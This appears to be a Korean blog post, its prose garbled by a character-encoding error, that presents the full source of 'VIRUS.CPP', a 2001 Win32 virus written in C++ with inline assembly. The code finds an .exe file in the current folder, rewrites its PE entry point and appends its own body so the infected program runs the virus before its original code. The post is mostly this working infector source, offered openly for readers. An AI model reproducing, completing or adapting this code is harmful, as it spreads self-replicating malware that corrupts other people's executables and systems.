    ¸¹Àº À̵éÀÌ ´«¿¡ º¸ÀÌÁö ¾Ê´Â ºÎºÐ¿¡µµ °ü½ÉÀ» °¡Á³À¸¸é ÁÁ°Ú´Ù.ȸ»ç¿¡¼­ ´Ù¸¥ ÆÀ µð¹ö±ëµµ »ó´çÈ÷ ¸¹ÀÌ ÇØÁÖ°í, ¼ÒÀ§ ÀÌÇØÇÒ ¼ö ¾ø´Â ±«Çö»óÀ̶ó°í ºÎ¸£´Â ¹ö±×¸¦ ¸¹ÀÌ ÀâÀ¸·¯ ´Ù³æ´Âµ¥ ±×¶§¸¶´Ù os¿Í cpu, ¾î¼Àºí¸® Áö½ÄÀº ¸¹ÀÌ ¾Ë¸é ¾Ë¼ö·Ï ÁÁ´Ù ´Â°ÍÀ» ´À³¤´Ù.

    ¸ðÂÉ·Ï ÇãÁ¢ÇÑ °­Á¿¡ ºÐ³ë¸¦ ÇÏµç °¨µ¿À» ¹Þµç ÇØ¼­ ³î¶ó¿òÀ» ±ÝÄ¡¸øÇÏ´Â ÄÚµå(ÁÁ ÀºÂÊÀ¸·Î)µéÀ» ¸¹ÀÌ Â¥°í ³²µé¿¡°Ô ¸¹ÀÌ ÀüÆÄÇØÁáÀ¸¸é ÇÏ´Â »ý°¢ÀÌ´Ù.³»°¡ ºÁµµ ³­ ÀâÇÑ °­Á¸¦ ÀоîÁֽŠºÐµé²² °¨»çÇϸç Ç® ¼Ò½º¸¦ ¾Æ·¡ ¿Ã¸°´Ù.

    // VIRUS.CPP
    // 2001.3.22. programmmed by yuchi
      
    
    #include 
    #include 
    #include 
    #include 
    
    struct PE_HEADER
    {
    	DWORD signature;
        IMAGE_FILE_HEADER _head;
        IMAGE_OPTIONAL_HEADER opt_head;
    };
    
    
    
    void __declspec(naked) VirusCore()
    {
    	HANDLE				hFile;			// 4	ebp-4
    	HANDLE				hSearchFile;		// 4	ebp-8
    	PE_HEADER*			pe_header;		// 4	ebp-12
    	DWORD				len;			// 4	ebp-16
    	DWORD				old_entry;		// 4	ebp-20
    	DWORD				code_size;		// 4	ebp-24
    	DWORD				jmp_offset;		// 4	ebp-28
    	char				header[4096];		// 4096
    	char				code[4096];		// 4096
    	WIN32_FIND_DATA			fndata;			// 320
    	char				filename[5];	
    
    	__asm
    	{
    		nop
    		nop
    		nop
    		nop
    		
    		nop
    		nop
    		nop
    		nop
    		
    		nop
    		nop
    		nop
    		nop
    		
    		nop
    		nop
    		nop
    		nop
    
    		push				ebp
    		mov				ebp,esp
    		sub				esp,8800
    
    		xor				edx,edx
    		mov				dx,0xcccc
    		shl				edx,16
    		or				edx,0xcccc
    
    		xor				eax,eax
    		mov				ax,0x9090
    		shl				eax,16
    		or				eax,0x9090
    
    		mov				esi,0x00400000
    
    lb_search_entry:
    		inc				esi
    		cmp				al,byte ptr[esi]
    		jnz				lb_search_entry
    
    		xor				ecx,ecx
    
    lb_count_nop:
    		inc				ecx
    		inc				esi
    		cmp				al,byte ptr[esi]
    		jz				lb_count_nop
    
    		cmp				ecx,16
    		jnz				lb_search_entry
    
    lb_success_search_entry:
    		sub				esi,ecx
    		lea				edi,dword ptr[ebp-0x0000201c]
    
    		xor				ecx,ecx
    		; esi´Â ÄÚµåÀÇ ¿£Æ®¸® Æ÷ÀÎÆ® 
    lb_count_bytes:	
    		cmp				edx,dword ptr[esi]
    		jz				lb_continue
    		cmp				eax,dword ptr[esi]
    		jnz				lb_not_jmpaddr
    		mov				ebx,ecx
    		add				ebx,5
    		mov				dword ptr[ebp-0x0000001c],ebx	; Á¡ÇÁÇÒ ¾îµå·¹½º¸¦ ³¢¿ö³ÖÀ» ÄÚµå ¿ÀÇÁ¼Â
    
    lb_not_jmpaddr:
    		movsb			
    		inc				ecx
    		jmp				lb_count_bytes
    
    lb_continue:
    		movsd
    		movsb
    		add				ecx,5
    		mov				dword ptr[ebp-0x00000018],ecx	; ÄÚµå »çÀÌÁî
    	}
    	__asm
    	{
    
    		mov				dword ptr[ebp-0x00002164],0x78652e2a
    		mov				word ptr[ebp-0x00002160],0x0065
    		
    		lea				eax,dword ptr[ebp-0x0000215c]
    		lea				edx,dword ptr[ebp-0x00002164]
    		push			eax
    		push			edx
    
    		mov				ebx,0x77E5906D
    		call			ebx //dword ptr[FindFirstFile]
    		mov				dword ptr[ebp-8],eax
    
    		//	hFile = CreateFile(fndata.cFileName, GENERIC_WRITE | GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, 0, OPEN_EXISTING, FILE_FLAG_SEQUENTIAL_SCAN, 0);
    		push			0
    		push	        8000000h
    		push			3
    		push		    0
    		push			3
    		push			0C0000000h
    		lea				eax,[ebp-2130h]
    		push			eax
    		mov				ebx,0x77E585F4
    		call			ebx // CreateFile
    		mov				dword ptr[ebp-4],eax
    	
    		
    		//	ReadFile(hFile,header,sizeof(header),&len,NULL);
    		push			NULL
    		lea				edx,dword ptr[ebp-0x00000010]
    		push			edx
    		push			0x1000
    		lea				edx,dword ptr[ebp-0x0000101c]
    		push			edx
    		push			eax
    		mov				ebx,0x77E55314
    		call			ebx //dword ptr[ReadFile]
    	
    		//	pe_header = (PE_HEADER*)((char*)((IMAGE_DOS_HEADER*)header) + ((IMAGE_DOS_HEADER*)header)->e_lfanew);
    		mov				eax,dword ptr [ebp-0x00000FE0]
    		lea				eax,[ebp+eax-0x0000101C]
    		mov				dword ptr [ebp-0x0000000C],eax
    	
    		//old_entry = pe_header->opt_head.AddressOfEntryPoint;
    		mov				eax,dword ptr [ebp-0x0000000C]
    		mov				eax,dword ptr [eax+0x00000028]
    		mov				dword ptr [ebp-0x00000014],eax
    
    		//pe_header->opt_head.AddressOfEntryPoint = pe_header->opt_head.SizeOfCode + 0x00001000 - code_size;
    		mov				eax,dword ptr [ebp-0x0000000C]
    		mov				eax,dword ptr [eax+0x0000001C]
    		add				eax,0x00001000
    		sub				eax,dword ptr [ebp-0x00000018]
    		mov				ecx,dword ptr [ebp-0x0000000C]
    		mov				dword ptr [ecx+0x00000028],eax
    
    		// SetFilePointer(hFile,0,NULL,FILE_BEGIN);
    		push		    0
    		push			0
    		push			0
    		push			dword ptr [ebp-4]
    		mov				ebx,0x77E553E8
    		call			ebx //dword ptr [SetFilePointer]
    
    		// WriteFile(hFile,(LPVOID)header,sizeof(header),&len,NULL);
    		push			0
    		lea				eax,[ebp-0x00000010]
    		push			eax
    		push			0x00001000
    		lea				eax,[ebp-0x0000101C]
    		push			eax
    		push			dword ptr [ebp-4]
    		mov				ebx,0x77E5334F
    		call			ebx //dword ptr [WriteFile]
    
    		// SetFilePointer(hFile,pe_header->opt_head.AddressOfEntryPoint,NULL,FILE_BEGIN);
    
    		push			0
    		push			0
    		mov				eax,dword ptr [ebp-0x0000000C]
    		push			dword ptr [eax+0x00000028]
    		push			dword ptr [ebp-4]
    		mov				ebx,0x77E553E8
    		call			ebx //dword ptr [SetFilePointer]
    	}
    	__asm			
    	{
    		lea				edi,dword ptr[ebp-0x0000201c]
    		add				edi,dword ptr[ebp-0x0000001c]
    		mov				eax,dword ptr[ebp-0x00000014]
    		add				eax,0x00400000
    		mov				dword ptr[edi],eax
    		
    		// WriteFile(hFile,(LPVOID)code,code_size,&len,NULL);
    		push			0
    		lea				eax,[ebp-0x00000010]
    		push			eax
    		push			dword ptr [ebp-0x00000018]
    		lea				eax,[ebp-0x0000201C]
    		push			eax
    		push			dword ptr [ebp-4]
    		mov				ebx,0x77E5334F
    		call			ebx //dword ptr [WriteFile]
    
    		// FindClose(hSearchFile);
    		push			dword ptr[ebp-8]
    		mov				ebx,0x77E58F5D
    		call			ebx //dword ptr[FindClose]
    		
    		// CloseHandle(hFile);
    		push			dword ptr[ebp-4]
    		mov				ebx,0x77E53053
    		call			ebx //dword ptr[CloseHandle]
    
    	}
    	__asm
    	{
    		nop
    		nop
    		nop
    		nop
    		push		offset lb_end
    		pop			edx
    		
    		mov			esp,ebp
    		pop			ebp
    
    		jmp			edx
    		int			3
    		int			3
    		int			3
    		int			3
    lb_end:
    		ret
    	}
    }
    
    int main()
    {
    	VirusCore();
    	return 0;
    
    }